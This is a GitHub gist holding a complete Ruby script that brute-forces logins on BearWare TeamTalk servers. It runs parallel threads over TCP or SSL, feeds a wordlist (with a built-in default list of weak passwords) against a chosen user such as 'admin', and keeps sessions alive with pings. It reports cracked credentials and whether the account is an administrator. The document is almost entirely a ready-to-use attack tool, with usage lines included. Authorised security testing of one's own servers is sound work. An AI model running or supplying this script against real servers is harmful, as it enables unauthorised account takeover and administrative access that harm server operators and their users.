Skip to content

Instantly share code, notes, and snippets.

@bcoles
Created July 22, 2017 16:43
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save bcoles/693ab5e82f52174caa6c8ff544e20a61 to your computer and use it in GitHub Desktop.
Save bcoles/693ab5e82f52174caa6c8ff544e20a61 to your computer and use it in GitHub Desktop.
BearWare TeamTalk login brute force
#!/usr/bin/env ruby
################################################################################
# BearWare TeamTalk login brute force #
# #
# Tested on TeamTalk versions 5.2.2.4885 and 5.2.3.4893 #
# #
# Note: SSL support is implemented but untested #
################################################################################
# ~ bcoles
require 'thread'
require 'timeout'
require 'socket'
require 'openssl'
VERBOSE = false
MAX_THREADS = 5
# server requires at least one keep-alive every 60 seconds
# send a keep-alive ping every [n] requests
REQ_PER_KEEPALIVE = 1000
# wait [n] seconds between login attmepts (0 = no wait)
WAIT = 0
################################################################################
puts 'BearWare TeamTalk login brute force'
puts '---'
# usage
if ARGV.length < 2
puts "Usage: ./brute-teamtalk.rb <host> <port> <user> <ssl> [/path/to/wordlist.txt]"
puts "Example: ./brute-teamtalk.rb 127.0.0.1 10333 admin false /wordlists/wordlist.txt"
exit 1
end
# parse target
@host = ARGV[0] || '127.0.0.1'
@port = ARGV[1] || '10333'
@user = ARGV[2] || 'admin'
@ssl = ARGV[3] || false
# parse wordlist
file = ARGV[4]
@wordlist = []
if file.nil?
@wordlist = ['password', 'teamtalk', '1234', '12345', '123456', 'admin']
puts "* No wordlist specified. Using default list (#{@wordlist.length} words)"
else
f = File.open(file).each_line do |line|
@wordlist << line.chomp!
end
f.close
puts "* Using wordlist '#{file}' (#{@wordlist.length} words)"
end
def main
puts "* Starting TeamTalk login brute force for user '#{@user}'"
work_queue = Queue.new
@wordlist.each {|pass| work_queue << pass}
workers = (0...MAX_THREADS).map do |i|
Thread.new do
begin
puts "* [Thread ##{i + 1}] Connecting..."
if @ssl == 'true'
ssl_context = OpenSSL::SSL::SSLContext.new
ssl_context.ssl_version = :SSLv23
socket = TCPSocket.new @host, @port
s = OpenSSL::SSL::SSLSocket.new socket, ssl_context
s.sync_close = true
s.connect
else
s = TCPSocket.new @host, @port
end
res = s.readline
if res !~ /^teamtalk/
puts 'Error: server is not a TeamTalk server'
exit 1
end
while pass = work_queue.pop(true)
# send keep-alive ping every n passwords
if ((@wordlist.length - work_queue.length) % REQ_PER_KEEPALIVE).to_i == 0
puts "* [Thread ##{i + 1}] Sending keep-alive..."
s.write "ping\n"
s.readline
end
puts "* [Thread ##{i + 1}] Trying: #{pass}"
s.write "login username=\"#{@user}\" password=\"#{pass}\"\n"
res = s.readline
puts "* [Thread ##{i + 1}] Response: #{res}" if VERBOSE
if res =~ /^accepted/
puts
puts "+ Login success: '#{@user}' : '#{pass}'"
puts "+ User is an administrator!" if res =~ /\susertype=2\s/
Thread.list.each do |thread|
thread.exit unless thread == Thread.current
end
break
end
sleep WAIT
end
rescue ThreadError => e
puts "* [Thread ##{i + 1}] Shutting down..."
rescue => e
puts "- [Thread ##{i + 1}] Error: Thread killed: #{e.message}"
ensure
s.close rescue nil
end
end
end
workers.map(&:join)
end
main
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment